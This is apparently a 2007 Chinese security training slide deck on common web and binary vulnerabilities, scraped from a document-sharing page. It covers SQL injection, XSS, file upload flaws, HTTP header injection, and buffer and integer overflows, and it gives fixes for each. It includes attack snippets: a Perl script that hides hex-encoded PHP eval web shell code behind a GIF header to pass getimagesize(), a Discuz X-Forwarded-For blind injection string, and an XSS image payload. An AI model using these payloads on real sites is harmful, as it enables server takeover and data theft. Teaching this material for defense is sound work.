资源预览内容
第1页 / 共40页
第2页 / 共40页
第3页 / 共40页
第4页 / 共40页
第5页 / 共40页
第6页 / 共40页
第7页 / 共40页
第8页 / 共40页
第9页 / 共40页
第10页 / 共40页
亲,该文档总共40页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述
常见漏洞类型与分析信息安全部吴翰清2007-06-52021/7/241提纲概述头号大敌:SQLInjection被忽视的巨大威胁:跨站脚本漏洞文件上传,一击必杀权限问题盲区:来自HTTP头的安全隐患与WebServer结合产生的漏洞什么样的漏洞,才叫漏洞?十年的来的顽症-缓冲区溢出攻与防-操作系统针对缓冲区溢出的保护漏洞挖掘方法简介2021/7/242概述Web安全是互联网安全的重中之重Web安全的特点与实现的语言有密切的关系(ASP/PHP/JSP)与数据库有紧密联系2021/7/243头号大敌:SQLInjection定义:由于程序中对用户输入检查不严格,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。SQLInjection的本质:对于输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行。2021/7/244示例:Stringuser=request.getParameter(username);Stringpass=request.getParameter(password);Stringquery=SELECTidFROMusersWHEREusername=+user+ANDpassword=+pass;Statementstmt=con.createStatement(query);ResultSetrs=con.executeQuery(query);if(rs.next()/登录成功intid=rs.getInt(1);.else/登录失败.2021/7/245正确的编程方法:Stringuser=request.getParameter(username);Stringpass=request.getParameter(password);Stringquery=SELECTidFROMusersWHEREusername=?ANDpassword=?;PreparedStatementstmt=con.prepareStatement(query);stmt.setString(1,user);stmt.setString(2,pass);ResultSetrs=stmt.executeQuery();2021/7/246被忽视的巨大威胁:跨站脚本漏洞XSS(CrossSiteScript)XST(HTMLHijacking)2021/7/247浏览器客户端的攻击常常与XSS相结合2021/7/248国际站XST窃取任意用户密码在发布产品页面构造恶意html语句2021/7/249发布后,如果某个用户查看了此产品,则会自动修改该用户的注册邮箱,或者其他member信息!2021/7/2410Image Upload XSSanexampleofsomethingyoumighttestfor:Soyouuploadthisfile:http:/ha.ckers.org/image-xss/onerror=alert(XSS)a=.jpgThisendsupmakingthepagelooklike:2021/7/2411解决方案输出时使用htmlencode转义字符,使得成为纯文本输出输入处做filter,过滤可执行的html代码2021/7/2412文件上传,一击必杀文件上传漏洞:对可上传的文件类型控制不严格,导致可以上传可执行的脚本,从而导致服务器被控制。2021/7/2413FCKEditor文件上传漏洞FCKEditor是一款有多个语言版本的(asp,cgi,aspx,php,cfm,.)的在线编辑的class,很多web系统都使用了这个class(包括taobao、中文站等许多地方)。2021/7/2414editorfilemanagerbrowserdefaultconnectorsphpconfig.php行35-36:$ConfigAllowedExtensionsFile=array();/允许的上穿类型$ConfigDeniedExtensionsFile=array(php,php3,php5,phtml,asp,aspx,ascx,jsp,cfm,cfc,pl,bat,exe,dll,reg,cgi);/禁止上传的类型2021/7/2415editorfilemanagerbrowserdefaultconnectorsphpcommands.phpfunctionFileUpload($resourceType,$currentFolder).$sExtension=substr($sFileName,(strrpos($sFileName,.)+1);$sExtension=strtolower($sExtension);/得到文件的后缀(以.为标志取最后1个)global$Config;$arAllowed=$ConfigAllowedExtensions$resourceType;$arDenied=$ConfigDeniedExtensions$resourceType;if(count($arAllowed)=0|in_array($sExtension,$arAllowed)&(count($arDenied)=0|!in_array($sExtension,$arDenied)/判断合法后缀$iCounter=0;while(true)$sFilePath=$sServerDir.$sFileName;.move_uploaded_file($oFiletmp_name,$sFilePath);/上传注意它保存的文件直接用的$sFilePath=$sServerDir.$sFileName,而没有使用$sExtension为后缀/导致在win下在上传文件后面加个.来突破未测试3.2021/7/2416BlackListorWhiteList?如果我们把AllowedExtensions/DeniedExtensions的设置反一下:$ConfigAllowedExtensionsFile=array(rar,zip);/允许的上穿类型$ConfigDeniedExtensionsFile=array();/禁止上传的类型把设置DeniedExtensions改为设置AllowedExtensions,就不会出现上面的漏洞了,不过这样在某些情况下,照样可以突破,问题还是出在这里:move_uploaded_file($oFiletmp_name,$sFilePath);/上传注意它保存的文件直接用的$sFilePath=$sServerDir.$sFileName,而没有使用$sExtension为后缀在apache下,因为apache文件名解析缺陷漏洞3而出现漏洞2021/7/2417Feedback.alisoft.com文件上传漏洞2021/7/2418Getimagesize()bypass先看看gif文件头:00000000h:474946383961AB02E503B30000008000;GIF89a?.GIF89a$size0$size1$size0x$size1=AB02683xE5039972021/7/2419构造如下perl#!/usr/bin/perl#TheScriptcouldpassgetimagesize()#gifsize:99x98pixels$gifhead=x47x49x46x38x39x61.#GIF89ax63x00.#99x62x00;#98$phpcode=x3cx3fx70x68x70x20x40x65x76x61x6cx28x24x5fx50x4fx53x54x5bx63x5dx29x3fx3e;#print$gifhead.$phpcode;2021/7/2420文件上传漏洞的解决办法使用正确的函数白名单与黑名单禁止上传目录有执行脚本的权限不要在url中显示上传文件的相对路径2021/7/2421权限问题Auth-Bypass越权访问2021/7/2422Elearning系统不经授权充值问题2021/7/2423其中userid;password;ROLE;ORGID;SITEID;的新值为无效构造值。2021/7/2424正确的做法检查每个操作是否进行授权,授权给谁2021/7/2425盲区:来自HTTP头的安全隐患HTTP头的注射(Cookie等)2021/7/2426Discuz4.x/5.0.0.1SqlInjection$http_query=orascii(substring(.$sql.),.$s_num.,1).$ccheck./*;.X-Forwarded-For=$http_query2021/7/2427正确的做法不要信任来自http头中的取的字段2021/7/2428与WebServer结合产生的漏洞Apache文件名解析漏洞IISPUT上传漏洞2021/7/2429暴力破解验证码也可以被暴力破解2021/7/2430暴力破解帐户锁定对暴力破解尝试进行帐户锁定风险:可能会造成恶意尝试锁定帐户2021/7/2431Apache文件名解析漏洞Phpshell.php.rar.rar.rar.rar.rar.rar.rar.rar.rarApache只会解析第一个“.”2021/7/2432IISPUT上传漏洞PUT/alert.txtHTTP/1.1Host:Content-Length:69HTTP/1.1100ContinueTherearesomesecureproblemsinyousystem,pleasefixit.ZwelLHTTP/1.1200OK2021/7/2433什么样的漏洞,才叫漏洞?Web迅雷activex远程执行漏洞WEB讯雷组件的名称:ThunderServer.webThunder.1,可以采用JS代码ActiveXObject(ThunderServer.webThunder.1);来激活讯雷的组件。其中的关键函数包括:SetBrowserWindowData:新建浏览器窗口。SetConfig:设置WEB讯雷。HideBrowserWindow:隐藏浏览器。AddTask:添加下载任务。SearchTask:搜索任务,得到任务ID,文件下载状态等详情。OpenFile:根据任务ID,打开文件。2021/7/2434十年的来的顽症-缓冲区溢出栈溢出(控制返回地址ebp+4)堆溢出(覆盖堆结构,2次free,覆盖堆中的指针)整数溢出(由于整数的解析欺骗造成的基于堆栈的溢出)2021/7/2435整数溢出boolCBlackListMessage:MatchMessage(LPCTSTRszMsg,intnLen,CString&sHint)/删除一些忽略的字符constintnOrgLen=nLen;TCHARszFixedBuf513;TCHAR*pCharBuf=NULL;if(nOrgLen 512) /* 1 */pCharBuf = new TCHARnOrgLen + 1; /* 2 */elsepCharBuf=szFixedBuf;lstrcpyn(pCharBuf, szMsg, nOrgLen+1); /* 3 */2021/7/2436在这里当nLen由外界传入,这里是取的消息的文字长度,是可信的,这里姑且不讨论是否可以利用,先来看这个编程的问题。nLen是一个int型,当nLen的值为0x80000000时,进行比较,将被解析为一个负数,从而可以绕过1处的判断,使得pCharBuf只分配了513个字节大小的内存。而在之后的拷贝lstrcpyn中,会将szMsg拷贝0x80000000+1个字符到pCharBuf中,此时的pCharBuf为只有513个字节大小的内存空间,从而会导致一个堆溢出。2021/7/2437攻与防-操作系统针对缓冲区溢出的保护核心思想-不可执行堆栈Linux下的保护:Execshield,Gresecurity内核补丁Windows下的保护:DEP,VC7的/GS保护(防止基于堆栈的溢出),/SafeSEH保护2021/7/2438漏洞挖掘方法简介代码审核Fuzzer动态调试(gdb,windbg,ollydbg等)静态分析(IdaPro)2进制比较(补丁比较)2021/7/24392021/7/2440
收藏 下载该资源
网站客服QQ:2055934822
金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号